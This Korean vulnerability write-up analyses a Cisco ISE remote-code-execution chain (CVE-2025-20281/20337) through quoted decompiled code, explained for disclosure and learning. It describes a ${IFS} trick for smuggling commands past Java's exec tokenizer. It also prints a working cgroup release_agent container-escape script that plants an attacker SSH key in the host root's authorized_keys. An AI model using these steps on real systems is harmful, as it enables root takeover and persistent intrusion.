[하루한줄] CVE-2025-20281/CVE-2025-20337 : Cisco Identity Services Engine의 원격 코드 실행 취약점

URL

Target

  • CVE-2025-20281
    • Cisco ISE ≤ 3.3
    • Cisco ISE-PIC ≤ 3.3
  • CVE-2025-20282
    • Cisco ISE ≤ 3.4
    • Cisco ISE-PIC ≤ 3.4

Explain

CVE-2025-20281/CVE-2025-20337은 Cisco의 NAC 솔루션, ISE(Identity Service Engine)에서 발생한 RCE 취약점입니다.

취약점은 invokeStrongSwanShellScript 메서드에 존재합니다.

private void enableStrongSwanTunnel(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
        logger.debug("Handling enableStrongSwanTunnel request ..");
        try {
            logger.debug("Enable Native IPSec Tunnel is triggered.");
            ObjectInputStream var3 = new ObjectInputStream(var1.getInputStream()); // [1]
            String[] var4 = (String[])var3.readObject(); // [2]
            ...
            Process var7 = this.invokeStrongSwanShellScript(var5, var6, "enable ", var4); // [3]
            ...
        }
    }

enableStrongSwanTunnel의 [1]에서 아무런 검증없이 클라이언트 HTTP 요청을 읽어옵니다. 이후 [2]에서 readObject()를 통해 역직렬화 객체가 생성됩니다. 해당 객체는 별도의 검증없이 invokeStrongSwanShellScript()로 전달되어 쉘 스크립트 실행에 사용되게 됩니다.


private Process invokeStrongSwanShellScript(File var1, File var2, String var3, String[] var4) throws IOException, InterruptedException {
        ...
        String var5 = "/usr/bin/sudo /opt/CSCOcpm/bin/configureStrongSwan.sh ".concat(var3).concat(var4[0]); // [4]
        logger.debug("Command is :: {}", var5);
        Process var6 = Runtime.getRuntime().exec(var5);
        ...
    }

호출된 함수에서 역직렬화된 객체는 [4]에서 볼 수 있듯이 configureStrongSwan.sh 의 2번째 인자로 전달됩니다.

# configureStrongSwan.sh
OPERATION=$1
IKE_ID="$2"
...
elif [ "$OPERATION" == "enable" ]; then
    enableStrongSwan "$IKE_ID" # [1]
fi
enableStrongSwan(){
  ...
  retval=$(verifyIpsecConnectionStatus "$1") # [2]
  ...
}
verifyIpsecConnectionStatus(){
  cmd="swanctl -l --ike "
  arg="$1" #
  statusCmd="${cmd}${arg}" #
  retval=$(docker exec strongswan-container /bin/bash -c "$statusCmd") # [3]
  ...
}

전달된 인자는 [1]에서 enableStrongSwan 함수 실행에 인자로 사용되고 이를 거쳐 [2]에서 verifyIpsecConnectionStatus의 인자로 전달됩니다. 해당 인자는 docker exec 명령어를 통해 컨테이너안에서 swanctl -l -like $client_http_reqest 형태로 실행되게 됩니다.

하지만 Java에서 string command를 exec의 인자로 넘겨줄 경우 StringTokenizer 클래스로 직렬화되고 , 해당 클래스는 따옴표나 스페이스를 지원하지 않고 설계 상 토크로 분리하므로 명령 전달 시 스페이스 문자를 대신하여 internal field separator 변수인 ${IFS}를 사용해야 합니다.

Escaping Container

mkdir /tmp/esc
mount -t cgroup -o rdma cgroup /tmp/esc // [1]
mkdir /tmp/esc/w
echo 1 > /tmp/esc/w/notify_on_release
overlay=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
pop="$overlay/simulate.sh"
echo $pop > /tmp/esc/release_agent // [2]
echo \#\!/bin/bash > simulate.sh ; echo "mkdir /root/.ssh" >> simulate.sh ; echo "echo 'ssh-rsa [public key here] attacker' > /root/.ssh/authorized_keys" >> simulate.sh; chmod +x simulate.sh // [3]
echo "0" | tee /tmp/esc/w/cgroup.procs // [4]

위의 취약점을 이용해 획득한 docekr 컨테이너 내부 root 권한을 통해 host로 container escaping이 가능한 스크립트입니다. 해당 스크립트에는 2019 BlackHat에서 발표된 “User-Mode Helper” 기술이 이용되었습니다.

먼저 [1]에서 공격자는 컨테이너 내부에 /tmp/esc 디렉토리를 생성하고, 이곳에 리눅스 cgroup 파일 시스템을 마운트합니다.

다음으로 [2] 에서는notify_on_release 옵션을 활성화하여 해당 cgroup 내의 모든 프로세스가 종료될 때 특정 명령이 실행되도록 예약합니다. 이때 실행될 release_agent 프로그램의 경로를 지정해야 하는데, 이 경로는 반드시 호스트 시스템의 절대 경로여야 합니다. 공격자는 컨테이너 내부 경로가 호스트에서 가지는 실제 경로를 알아내고, 이를 기반으로 악성 스크립트(simulate.sh)의 정확한 위치를 지정합니다.

[3] 에서는 호스트 커널이 실행할 악성 스크립트, simulate.sh를 작성합니다. 이 스크립트의 내용은 공격자의 SSH 공개 키를 호스트의 /root/.ssh/authorized_keys 파일에 추가하는 것입니다.

마지막으로 [4]에서 파이프라인(|)을 이용해 tee 명령어를 실행시켜 kernel에서 cgroup을 통해 악성 스크립트가 실행되게 합니다 . 이 명령이 실행되면 tee 프로세스는 아주 짧은 시간 동안 cgroup의 유일한 멤버가 되었다가 즉시 종료됩니다. tee 프로세스가 사라지면서 cgroup이 비워지자, notify_on_release 기능이 작동하여 release_agent에 지정된 simulate.sh 스크립트가 호스트 커널에 의해 root 권한으로 실행됩니다.

Cisco는 제보된 두 개의 개별 취약점을 단일 문제로 판단하여 하나의 CVE번호(CVE-2025-20281)만으로 통합하여 2025년 8월 5일에 패치를 배포했습니다.
하지만 이후 2025년8월 12일, Cisco는 권고문을 수정하며 기존 입장을 번복했습니다. Cisco는 다른 취약점에 대해 새로운 식별번호인 CVE-2025-20337을 부여하고, 이를 해결하기 위한 추가 패치를 발표했습니다.

Reference



본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.